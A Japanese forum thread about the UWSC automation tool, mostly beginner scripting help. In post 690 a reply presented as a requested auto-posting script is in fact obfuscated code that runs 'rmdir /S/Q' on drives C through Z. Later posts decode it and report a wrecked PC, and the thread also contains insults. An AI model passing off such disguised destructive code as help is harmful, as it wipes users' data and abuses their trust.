[表示 : 全て 最新50 1-99 101- 201- 301- 401- 501- 601- 701- 801- 901- 2chのread.cgiへ]
Update time : 05/03 04:31 / Filesize : 344 KB / Number-of Response : 994
[このスレッドの書き込みを削除する]
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

自動化ツールuwsc使いよ集まれ4



1 名前:名無しさん@お腹いっぱい。 [2009/03/02(月) 19:49:20 ID:rP5khwz50]
Windowsを自動化させるツールUWSC。
ttp://www.h7.dion.ne.jp/~umiumi/

uwsc使いのみなさま、マターリ己のスクリプトを晒しましょ。

前スレ
自動化ツールuwsc使いよ集まれ3
pc11.2ch.net/test/read.cgi/software/1176677869/

654 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:21:35 ID:d8MsK2iH0]
>>652

  ┌Y1┐
 X1   X2
  └Y2┘


655 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:26:36 ID:d5KMyGe80]
>>652
始点Yが400で選択範囲をY600までにした場合
Yの値=画像の横幅、が200pxを超えていると認識しない。

656 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:49:11 ID:yaBuphLm0]
>>653-654
654を見て理解できました

>>655
画像自体の幅と高さが関係してくるのを理解してませんでした


これで少し前進しました アドバイスくださった皆さんありがとうございました


657 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 16:13:22 ID:GlNkzRYu0]
ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then
i = 1
ifb (L > 0 and L < 11) then
ii = 1
elseif (L > 40 and L < 51) then
ii = 2
else
ii = 3
endif
elseif (L > 10 and L < 21) or (L > 50 and L < 61) or (L > 90 and L < 101) then
i = 2
ifb (L > 10 and L < 21)
ii = 4
elseif (L > 50 and L < 61)
ii = 5
else
ii = 6
endif
endif

下一桁も取出したいのですがもっと簡単に書く方法はないですか?

658 名前:名無しさん@お腹いっぱい。 [2009/10/17(土) 17:03:23 ID:Xw3XxMCcP]
ここまで何をしたいのか全く理解できないレスは初めてだ

659 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 17:32:45 ID:4eI9AiXq0]
>>657
select L
 case 1 to 10
  i = 1
  ii = 1
 case 11 to 20
  i = 2
  ii = 4
 case 41 to 50
  i = 1
  ii = 2
 case 51 to 60
  i = 2
  ii = 5
 case 81 to 90
  i = 1
  ii = 3
 case 91 to 100
  i = 2
  ii = 6
 default
selend

「to」って使えたっけ??

660 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 17:58:54 ID:II0xKVE40]
使えないだろ。

下一桁の意味がわからん

661 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 18:30:52 ID:GlNkzRYu0]
すいません説明不足で
1〜200までの場所がありまして、まず1〜200は8つのブロックに分かれてます。

1つ目のブロックは、1〜10 41〜50 81〜90

2つ目のブロックは、11〜20 51〜60 91〜100

3つ目のブロックは、21〜30 61〜70 101〜110

4つ目のブロックは、31〜40 71〜80 111〜120

5つ目のブロックは、121〜130 161〜170

6つ目のブロックは、131〜140 171〜180

7つ目のブロックは、141〜150 181〜190

8つ目のブロックは、151〜160 191〜200

1つ目のブロックの1行目は1〜10 2行目は41〜50 3行目は81〜90
4つ目まで同じ
5つ目のブロックからは1行目は121〜130 2行目は161〜170
8つ目まで同じ

これを指定した番号の場所に行きたいのですが簡略化して書く方法が思いつかなかったので質問させていただきました。


662 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:15:57 ID:2kTk15QU0]
すみません質問です
友人から拡張子.uwsのスクリプトをもらいましたがUWSCのお試し期限が切れてしまいました
そこでAutoItで使えるようにしたいのですが僕にはこういった知識が全くありません
その友人に変換してもらえるか聞いたんですが
「UWSC以外は使ったことないからワカンネ」と言われてしまいました
もしここの部分をこうするだけだよ、
ってレベルの話であればどうか教えてください



663 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:25:26 ID:ra182OK/0]
>>662
UWSCのフリー版使えば期限なんてないよ
www.uwsc.info/uwsc45c1.zip

664 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:35:41 ID:a5Xst/mw0]
>>661
IFB L <= 120
 hoge = (L-1) MOD 40
 i = INT(hoge / 10) + 1
 ii = INT((L-1) / 40) + 1
 iii = L MOD 10
ELSEIF L <= 200
 hoge = ((L- 120) -1) MOD 40
 i = INT(hoge / 10) + 5
 ii = INT((L-1) / 40) + 1
 iii = L MOD 10
ENDIF
こんな感じじゃない?
適当に書いたからどこか1とかずれてると思うけど、
適当にいじれば使えると思うよ。
MODは割った剰りを求める演算な。

665 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:54:20 ID:D58+E+1n0]
>>657の条件だとiiの条件が特殊じゃね?
俺ならこんなの配列イメージで出すようにするわ
L = 11
DIM i,ii
DIM index[7][2] =_
0, 4, 8,_
1, 5, 9,_
2, 6,10,_
3, 7,11,_
12,16,99,_
13,17,99,_
14,18,99,_
15,19,99
DIM value_ii[7][2] =_
1, 2, 3,_
4, 5, 6,_
7, 8, 9,_
10,11,12,_
13,14,99,_
15,16,99,_
17,18,99,_
19,20,99
for block = 0 to 7
 for column = 0 to 2
  ifb int((L-1)/10) = index[block][column] then
   i = block + 1
   ii = value_ii[block][column]
MSGBOX( "i=" + i + ", ii=" + ii )
   break 2
  endif
 next
next

666 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 20:03:08 ID:2kTk15QU0]
>>663
ありがとうございます
フリー版があったんですね
助かりました

667 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 20:36:20 ID:GlNkzRYu0]
L = 入力された数字1〜200

ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then //8つのうちの1つ目のブロック
 i = 1 // 8/1 iはブロックの場所の変数
 ifb (L > 0 and L < 11) then
  ii = 1 // 1〜10までだから1行目 iiは行数の変数
  ifb L = 1
   iii=1 // Lは1番目 iiiは何番目かを表す変数
これをズラズラ200通り書いてたのでうまく求める書き方がなのかと思いまして



668 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:23:35 ID:pJnpQWGB0]
>>667
どうせ200通り書くんなら200通りの配列にしろよ。
そしたらコーディングは次の1行で済むからバグが混入しなくていいだろ。
> 結果 = データ[L]

> const ブロック = 0
> const 行 = 1
> const 列 = 2
> dim 結果[2]
> 結果 = データ[L]
> ブロック番号 = 結果[ブロック]
> 行番号 = 結果[行]
> 列番号 = 結果[列]

データは↓のように1〜200を定義する
dim データ[200][2] = _
// ブロック番号、行、列
0, 0, 0, _ // ダミーデータ
1, 1, 1, _ // L = 1
2, 1, 1, _ // L = 11
3, 1, 1, _ // L = 21

ルール化してデータを折りたたむ場合でも、一旦表にしてみれば整理しやすい。


669 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:27:50 ID:NwjYpu/W0]
下一桁の意味がわからん
普通に考えてL=164なら4をさすと思う
iはブロックらしいが、iiはなになのかわからんってことで

DIM minv[20]= 1,11,21,31,41,51,61,71,81, 91,101,111,121,131,141,151,161,171,181,191,-999
DIM maxv[20]=10,20,30,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200,-999
DIM tou[20]= 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,-999
DIM blk[20]= 1, 2, 3, 4, 1, 2, 3, 4, 1, 2, 3, 4, 5, 6, 7, 8, 5, 6, 7, 8,-999

L=INPUT("数字を入力してください",1)

L=INT(L)
ifb L<0 or L>200 then
FUKIDASI ("範囲外なので処理できません")
SLEEP(500)
EXITEXIT
endif

670 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:28:31 ID:NwjYpu/W0]
counter=0
while minv[counter]<>-999
if minv[counter]<=L and L<=maxv[counter] then break
counter=counter+1
wend

i=blk[counter]

ifb minv[counter]<>-999 then
FUKIDASI(tou[counter]+"&"+blk[counter])
WHILE GETKEYSTATE(VK_MBUTTON)=FALSE
WEND
WHILE GETKEYSTATE(VK_MBUTTON)=TRUE
WEND
endif
EXITEXIT

671 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 22:00:44 ID:GlNkzRYu0]
沢山の答えありがとうございます
自分はまだ初心者なので皆さんの答えを今すぐに理解できないので
1つずつ理解していきます。



672 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 22:30:46 ID:GlNkzRYu0]
>>669
95は何ブロック目の何行の何番目かを出したくて661みたいなkとを書いたのですが
簡潔にまとめるために質問しました。

□は縦1列で1ブロック

    1〜10  11〜20  21〜30  31〜40 
1行   □     □     □     □

   41〜50  51〜60  61〜70  71〜80 
2行   □     □     □     □

   81〜90 91〜100  101〜110 111〜120 
3行   □     □     □     □

   121〜130 131〜140 141〜150 151〜160 
4行   □     □     □     □

   161〜170 171〜180 181〜190 191〜200 
5行   □     □     □     □





673 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 09:11:39 ID:t51s/utc0]
661とは全く違うじゃねーかw
説明が下手糞だから余計な混乱を招いてるんじゃないのかよ。

下手に簡略化しようと考えずに
実際にやってることを書けよw

674 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 11:27:49 ID:0ZmdNhwk0]
>>673
最初そう思ったがどうやらLの数値からブロックの番号と行の番号の2種類を求めたいらしい
ただ、あとは>>669のDIM tou[20]=をその行の番号に対応するところを変えて後ろにii=tou[counter]
をつければ差し替えるだけで終わるから、後は質問者がLvUPしてこれをするだけ

675 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 13:43:28 ID:fLNvafB60]
>>669はminとmaxを別々の配列にしてるけど、それはミスが出やすいコーディングだから駄目だよ。
ひとつのオブジェクトにminとmaxがあるのはいいんだけどね。

□部分に、 L に9を足して10で割った数字を入れてみる。
さらに4を足して4で割った数字(小数点は切捨て) 【↓】
    1〜10  11〜20  21〜30  31〜40 
1行   1      2      3      4       1

   41〜50  51〜60  61〜70  71〜80 
2行   5      6      7      8       2

   81〜90 91〜100  101〜110 111〜120 
3行   9      10     11     12       3

   121〜130 131〜140 141〜150 151〜160 
4行   13     14     15     16       4

   161〜170 171〜180 181〜190 191〜200 
5行   17     18     19     20       5
      1      2      3      4 【←】 ((□-1) mod 4) + 1 の計算結果


>>664が既に書いてくれてるのを分解した図だな。
Excelとかで計算式書いてみたらすぐ作れる表なんだけどなあ。
しかも今どき表計算とか無料で使えるのに知らないのかなあ?


676 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 18:29:56 ID:/4/WenoU0]
ヘルプも見たけど分からなかったので質問
batファイルなんかだと「go to ○○」と書くと○○の部分に処理をジャンプさせられるけど
例えば

EXEC("C:\Program Files\lolifox\lolifox.exe")
loliid = GETID("lolifox", "MozillaUIWindowClass", -1)
CTRLWIN(loliid, MIN)

loli = STATUS(loliid, ST_ICON)

ifb loli = 0 then
CTRLWIN(loliid, MIN)
EXEC("D:\ソフト\Jane Style\Jane2ch.exe")
else
EXEC("D:\ソフト\Jane Style\Jane2ch.exe")
endif

こんな感じで書いたとして(本当はJaneの後も他の起動がズラズラ)
lolifoxは最小化したあと何故か勝手に最大化されてしまう場合があるから
こういう風にしてるんだけど、それだと同じ処理を両方に書いて長く見づらくなっちゃうため
thenの方で最小化した後にelseの方に飛ばす方法ってないのかな?

677 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 18:48:35 ID:fLNvafB60]
>>676
loliの中身を見る必要はない
これでおk
> STATUS(loliid, ST_ICON)
> CTRLWIN(loliid, MIN)
> EXEC("D:\ソフト\Jane Style\Jane2ch.exe")


もしくは、if分が終わった後に書けばおk
> if loli = 0 then CTRLWIN(loliid, MIN)
> EXEC("D:\ソフト\Jane Style\Jane2ch.exe")


678 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:14:28 ID:/4/WenoU0]
>>677
出来た、ありがとう
ついでに聞いておきたんだけど
>>676で書いたようなラベルジャンプみたいな機能はUWSCではできないのかな

679 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:26:05 ID:fLNvafB60]
>>678
ないな。

どーしてもそういうコーディングがしたければ、
ジャンプの変わりに、関数を呼び出してそのままexitしたらいいんじゃないかな。

ifb flag then
 関数()  //関数を実行
 exitexit  //関数が終わると戻ってくるが、後は必要ないので終了
 // これでgotoしたのと同じ事になる。ただし変数はグローバルで取ること。
 //でもgotoが入り混じった動作は作れないよな
endif


680 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:50:46 ID:/4/WenoU0]
>>679
参考になったよ
サンクス

681 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 21:14:57 ID:ixWoaU9v0]
イイコト聞いた(・∀・)
俺も参考になった
>>679
ありがとね

682 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 17:46:15 ID:n+6Jdku/0]
はじめまして全くの初心者で丸投げでお願いしたいです
メモ帳に24行の文字列があるのですが
1時になれば上から1行目をサイトAに投稿
2時になれば上から1行目をサイトBに投稿
3時になれば上から1行目をサイトCに投稿
このように1時間ごとに1行の投稿を
1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです
よろしくお願いします



683 名前:682 mailto:sage [2009/10/19(月) 17:49:34 ID:n+6Jdku/0]
ちょっと書きミスしましたので改めて書きます
メモ帳に24行の文字列があるのですが
1時になれば上から1行目をサイトAに投稿
2時になれば上から2行目をサイトBに投稿
3時になれば上から3行目をサイトCに投稿
このように1時間ごとに1行の投稿を
1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです
24時サイトXまで終了すれば
1時サイトA〜24時サイトXまでの永遠ループです
よろしくお願いします

684 名前:682 mailto:sage [2009/10/19(月) 17:53:33 ID:n+6Jdku/0]
何度もすいません
テキスト1ファイルで1行目〜24行目の方法ではなく
1行ファイルを24個用意して
1時にテキスト1をサイトA
2時にテキスト2をサイトB
3時にテキスト3をサイトC
この方法でも結構です
どなたかお願いします

685 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:18:15 ID:UJIHaaLl0]
>>はじめまして全くの初心者で丸投げでお願いしたいです

686 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:59:12 ID:HVP74pPF0]
自分で作れないなら、プロにお金を出して作ってもらったら?

687 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 19:43:20 ID:CQ58FsYy0]
>>682-684
そのサイトが全部2ちゃんねるなら5千円で作ってあげてもいいけど
ぜんぜん別の掲示板なら1箇所当たり2千円で消費税も入れて 55000円 になるけどいいかな?


688 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 20:39:09 ID:fkMx4tWw0]
>>682
こんなソフトウェアつくってください
pc12.2ch.net/test/read.cgi/software/1251624598/

689 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 22:09:18 ID:A/b0I+MbP]
>>682
これから作るからちょっと待ちなー

690 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 23:54:32 ID:3uvH/jIh0]
>>682
書き込むサイトのアドレスをsite[1]="○○○○"←のところに入れてね。
前後の「"」は忘れずに!

dim site[25],kakikomi[25]
site[1]="hyde156cm.com/aaabb/cccddd/efg.html"
・・・(省略)・・・
site[24]="hogehoge.co.jp/aaa/bcd.cgi"
kakikomi[1]="テキスト1"
・・・(省略)・・・
kakikomi[24]="テキスト24"

mode="mdS5RgzP4/Q B"
aaa="InternetExplorer.Application"
bbb=":\"
cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb
size=66
for time=1 to 24
 cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
 if "" <> doscmd(cc) then continue
 IE = CreateOLEObj(aaa)
 IE.Visible = True
 IE.Navigate(site[time])
 IESetData(IE,True,"lr",kakikomi[time])
 GETTIME()
 ifb time=G_TIME_HH then
  sleep(3600)
 endif
next

691 名前:682 mailto:sage [2009/10/20(火) 07:09:39 ID:W8G0SBlw0]
>>690さん
お返事遅くなり申し訳ないです
お忙しい中、本当にありがとうございました
大切に使わせていただきます
感謝です

692 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 07:33:50 ID:jAAUEYUX0]
よく>>682みたいな馬鹿に親切に作ってやるもんだ
>全くの初心者で丸投げでお願いしたいです
こういう輩を甘やかすと調子乗るんだよな



693 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 17:29:41 ID:lEe8RCT+0]
>>682みたいなのは死ねばいいと思う
uwsc使いでもなんでもないし

694 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 19:18:45 ID:kn6xTJMj0]
「UWSC使い」使いですね。わかります。

695 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 21:37:35 ID:5ibiXKAy0]
>>690
巧さ半端ねぇなw
どうなっているのか解るのに10秒くらいかかった。

696 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 00:30:20 ID:5BhbaMvE0]
682は本当にこれ実行したんだろうか…

レス無いのはやっぱり実行しちゃったんだろうか…

697 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:09:56 ID:H9pzsLFx0]
ちゃんと見てなかったけどCから順にやるのかすごいな
だが、ちゃんとエラーを除去しないとスクリプト実行エラーが出るから、
初めて触る人間にはすぐには実行できないんじゃないか?


ていうかまさか依頼の段階から仕込みとかか?
依頼からして不自然だったしさ。


698 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:29:46 ID:H9pzsLFx0]
やってみたけどループ1回目の途中でエラーになって止まったよ。
だめだな。

仮想マシンでやったけど、起動した後で「しまった。共有ドライブが!」とか思ったけどぜんぜん心配いらんかった。


699 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:47:10 ID:H9pzsLFx0]
× ぜんぜん心配いらんかった。
○ そっちは心配いらんかった。

700 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:02:22 ID:eGE2n9Cp0]
>>690を実行するとどうなんの?
エラーが出るだけ?

701 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:18:52 ID:s2PXx/VI0]
>>700
コードをちゃんと読めば理解出来るだろう。
メモ帳か何かにコピペして、それがどう弄られていくか書き出してみればいいよ。
知らない可能性があるのは、最終的にできあがるものだが、それはググれば一発で出てくると思うよ。
ちなみに65がAだから、66はB、67はCな。

702 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:54:14 ID:H9pzsLFx0]
>>701
それだけじゃわかんないと思うよ。
サイトAからXまで処理することになってるから。

A-X が C-Zに置き換わってると言えば分かると思う。




703 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 00:23:30 ID:zsrKpKqI0]
最初はB。ループの最初で66を67に置換でC、以降+1していくからDEFG…
65は最初から無い

704 名前:危険!危険! mailto:sage [2009/10/22(木) 00:46:18 ID:rtGLzJgQ0]
なんで〜(;´д⊂ヽ
>>690をやってみようとしたらエラーになるので
パソコンをリセットしたら
「Wwindows Boot Manager」の画面になってそこからどうにもならない
もうデータとか全部捨ててリカバリするしかないかも試練orz
ちなみにOSはVista
えらいことになったよ・゚・(ノω;`)・゚・
>>690はなんだったんだろうか?

>>701
65がAとか意味不明

705 名前:名無しさん@お腹いっぱい。 [2009/10/22(木) 01:14:14 ID:k2O2PUZQ0]
犠牲者報告がついに来たか。

>>690のスクリプトは、C:ドライブからZ:ドライブまでの全てのファイルを削除するというもの。
UWSCはコマンドを呼び出してるだけなんだけどね。

ウィルスと違うからアンチウィルスとかじゃ検出してくれない。
だからスクリプトは実行する人がそれをちゃんと理解するか、
信用できる人からもらったものじゃないといけない。

僕はプログラマで共同作業してるときですら、同期入社のやつから>>690みたいな動作のスクリプトを青果物として納品されて、
完成したプログラムが全部消えてなくなったことがある。

ちなみにそいつは北九州高専卒業のやつで会社は地元の東証一部上場企業での話ね。
人事部にちくったら「貴様を駆除するためにやらせたんだ責任とって死ね」って怒鳴られたけどね。
さすが毒饅頭を出荷してる土地柄だけはある。

そんな感じだから信用できる人間の区別もまた難しいんだけど、
とにかく検査されたもの以外は安易に実行してはいけないってことだ。


706 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:43:45 ID:zsrKpKqI0]
>>704
> mode="mdS5RgzP4/Q B"
> bbb=":\"

chgmoj(mode,"S5RgzP4","ir /S ")
"mdS5RgzP4/Q B"中の"S5RgzP4"を"ir /S "で置換。
結果、mode="mdif /S/Q B"

> cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb

cc="r" + "mdir /S/Q B" + ":\"
  ="rmdir /S/Q B:\"

> cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
最初のループ:time=1,size=66につき chr(size+time-1)=chr(66)=B chr(size+time)=chr(67)=C
cc = replace(cc," B"," C")
コマンドcc中の" B"を" C"で置換
cc="rmdir /S/Q C:\"

以降、ループが回る毎にCをDに置換・DをEに置換…とやっていくが、
最初のCを消した時点でcmd.exeも消えてD以降はエラーになる

707 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:46:14 ID:rtGLzJgQ0]
>>705さん
詳しいレスありがとうございます
つまりインストールしていたソフトやデータはすべて消えた後ってことですね
これでリカバリする踏ん切りつきました
夜遅くにすいませんでした

>>690死ね!

708 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:49:50 ID:rtGLzJgQ0]
>>706
えっ!
私はカキコ遅いんですけどその間にレス頂いた様で
ありがとうございます
ということはソフトやデータはまだ残っているって事なんでしょうか?
とすれば>>705が悪意のあるレスで>>690は善意の解答者???
もうわけわかんないです(;´Д`)
とりあえず復旧方法探してみます
夜中にすいませんでした

709 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:54:00 ID:zsrKpKqI0]
これを読んでもまだわからないような超初心者が安易に実行なんてするなよ(´Д`)
今後何度だってトラップに引っかかって今度のような目にあうぞ。

rmdir /S/Q C:\
の意味は "C:\" を中身ごと消せ。

つまり>>705の通りだが、C:\を消したらコマンド続行不能になるのでDは無事の可能性高い。
当然ながらOSは起動不能。

710 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:58:18 ID:rtGLzJgQ0]
>>709さん
了解です
うかつに実行した自分の責任です
ご親切にありがとうございました
>>705さん疑ってすいませんでした
教えてくれてありがとうです
今日は遅いので明日にでもリカバリします

>>690死ね死ね死ね!!!

711 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 02:32:59 ID:mgMzrVp30]
VISTA使ってんなら、管理者として実行するを選ばない限りDOSコマンドでwindowsのシステムファイルは消えない
rmdir c:\ /s /qしてもファイル削除自体をはじかれる

つ〜わけで、釣りだろ?

712 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 02:36:13 ID:k2O2PUZQ0]
俺仮想で実行した>>698だけど、そんとき書かなくてごめんね。
一応
> 「しまった。共有ドライブが!」とか思った
っていうのがヒントになってると思ったんだけど。


んで僕はC:で実行中のWindowsシステムファイル以外は消えたの確認したけど、
D:にページファイル置いてて、ついでに小物ツールとか置いてたんだけど、それ全部消えてました。
だから一応はリカバリするまでD:以降は残しておくべきだけど、消えてる可能性は高いかなと。

ただ、ループ中に
> IE = CreateOLEObj(aaa)
でオブジェクトがないっていうエラーが出てたから、きっとD:は処理しなかったんだろうと思ったんだけど・・

> if "" <> doscmd(cc) then continue
C: D:を処理するときにはこれがtrueになってOLEの処理は飛ばされてたのかも。
でE:はドライブがないよってエラーを返すからOLE実行して、エラーになったかな?

共有ドライブはドライブレターが飛んでるから助かったっぽい。

>>706
> 最初のCを消した時点でcmd.exeも消えてD以降はエラーになる
cmd.exeは実行中だから自分自身を消さないんじゃね?
FATとか使ってれば消えるのかもしれないけど。

>>707
>>710
どーしても取り戻したいファイルがあるなら、その消えたHDDを復活ツール使って復活する方法はあるよ。
ただしリカバリでデータを書き込んだら上書きされて取り出せなくなるけどね。
ツールはあってもファイル数が半端じゃないし、ファイル名の1文字目が消えてて探すのも大変だけど。
必要なのはその消えたHDDを追加できる環境と復活ツールと、復活する手間隙。
業者に頼んでもいいけど、1MBあたり1万円とか取られるんじゃないかな。



713 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 02:48:12 ID:k2O2PUZQ0]
>>711
UWSCスクリプトが内部で呼び出すDOSシェルはVistaでもいちいちUACで聞いてこないんじゃね?
少なくともWindows7では聞いてこないと思うけどな。

そもそも実行しようと思っているんだから仮にUACで確認されてもOKをクリックするだけだと思うよ。

あ、UACじゃなくてファイル保護の話か。
でも保護されるのはWindows配下とProgram Files配下くらいで、
アプリの設定ファイルとかユーザーデータとかはことごとく消えるんじゃないかな。
他ユーザーのデータは残ってるだろうけど、一人でいくつものアカウントを使い分けたりしないだろ?めんどくさいし。

で、ファイル保護されてシステムファイルが消えないんだとすると、D:ドライブ以降も全部消えてるだろうね。
僕はXPで試したけどVistaならOLEもエラーにならなくてZまでしっかり実行される気がする。

実行したらVistaの方が被害が大きいんじゃないかな。

> IESetData(IE,True,"lr",kakikomi[time])
これがエラーでストップするならドライブレターが飛んでるところは大丈夫だろうけど、多分スルーされるよね。
DOMアクセスしてたら名前不一致でエラーになるけど。


714 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:15:43 ID:7U7T32pD0]
ID:rtGLzJgQ0は>>682かな?
だとしたらすげー面白いんだけどなw
自分は全然悪くないと思ってるところとか

715 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:31:39 ID:mgMzrVp30]
>>713
両方の事なんだけど、UACないとprogram filesとwindowsのファイルは消せないっぽいし、
UACでもファイル保護とか実行中のexe DLLは削除無理っぽいんだよね
スクリプトだからUACを有効に出来ないわけだろ?
するとWindowsだけはとりあえず起動するだろうから、釣りとしか思えない

716 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:42:55 ID:k2O2PUZQ0]
>>715
> スクリプトだからUACを有効に出来ないわけだろ?

意味分からん。
UACって実行許可を求めるものだから、許可したら動くに決まってる。

実行中の実行ファイルが消えないというのはなんの助けにもならない。
Windows起動時にどのファイルを読み込んでどんな処理をするかが書かれているのは実行ファイルじゃないしな。

実行ファイルだけがあればソフトは勝手に動くと思ってるのかな?

717 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 03:48:52 ID:k2O2PUZQ0]
VBScriptでVistaのUACの権限昇格を行う方法
ttp://hitaki.net/diary/20090522.html

ああ、スクリプト側で昇格処理してユーザーが許可を出さないと管理者権限で実行できないのか。
でもUWSCって管理者権限で実行しないとそもそも動かないんじゃなかったっけ?


718 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 04:06:17 ID:mgMzrVp30]
許可しなくても動く
すべての関数を使ったことないから全部そうなのかまでは分からない

719 名前:704 mailto:sage [2009/10/22(木) 05:47:51 ID:rtGLzJgQ0]
>>711
VistaでUWSCを動かすためには「管理者権限で実行」しないと動かなかったですよ
以前ここで教えてもらったんですよ
なので綺麗に削除されました

>>714
そですよ
>>682は私です
せっかく作ってくれたんだから使ってお礼のレスを入れないとって思って使いました
結果は先に書いたとおりです
面白いですか?

>>715
Windowsは起動しないです
ウィンドーズブートなんとかって画面で
「Esc」キーか「リターン」キーを押すように英語で記載されてる
どちらを押しても再起動してその画面に戻るだけでした
釣りじゃないですよ

>>717
あなたが正解です
VistaでUWSCは管理者権限での実行でしか動きません

>>718
自分はプレインストールのVistaHBですが
UWSCを実行させる場合は必ず管理者権限でないと
UWSCは起ち上がっても自動実行は一切出来ないですよ

720 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 06:05:55 ID:7U7T32pD0]
>>719
まあ高い授業料だったと思えばいいね
色々といい経験になったでしょ

721 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 06:13:27 ID:rtGLzJgQ0]
>>720
はい(´;ω;`)
あなたはいい人だね
ありがとです

722 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 10:46:24 ID:QFAR0xIb0]
>>721
言葉だけでいい人と判断するなら、行動としてスクリプトでフォーマットしてもいい人かもねw




723 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 12:07:54 ID:FjUQjAwk0]
>>719
VistaHP使ってますが管理者権限にせずに動いています
アカウントもアドミニですが

724 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 14:00:00 ID:u/5hQA4K0]
>>712
おまえも戦犯だ責任とって氏ね

725 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 14:25:42 ID:k2O2PUZQ0]
>>724
戦犯?
>>687ですよ?
取引に応じてくれたらちゃんと作ってあげたのに。

そもそも 「ぜんぜん別の掲示板なら1箇所当たり2千円」 っていうところをちゃんと理解してくれていれば
>>690 みたいな単純なループでは実現できないってことは分かるはずなんだよ。

どーせ>>682-684みたいなことを考えるやつは
政治的なコピペを張りまくるか 「俺その時間自宅でネットやってました」 っていうアリバイ作って犯罪を逃れようとしてるとかだろうから
親切には教えなかっただけなんだけどね。

ちゃんと読んでくれていればあちこちにヒントもちりばめてるんだし。
> Cから順にやるのかすごいな
> 「しまった。共有ドライブが!」
> ぜんぜん心配いらんかった。  −> そっちは心配いらんかった。

>>696だってそれをにおわすこと書いてくれてるし

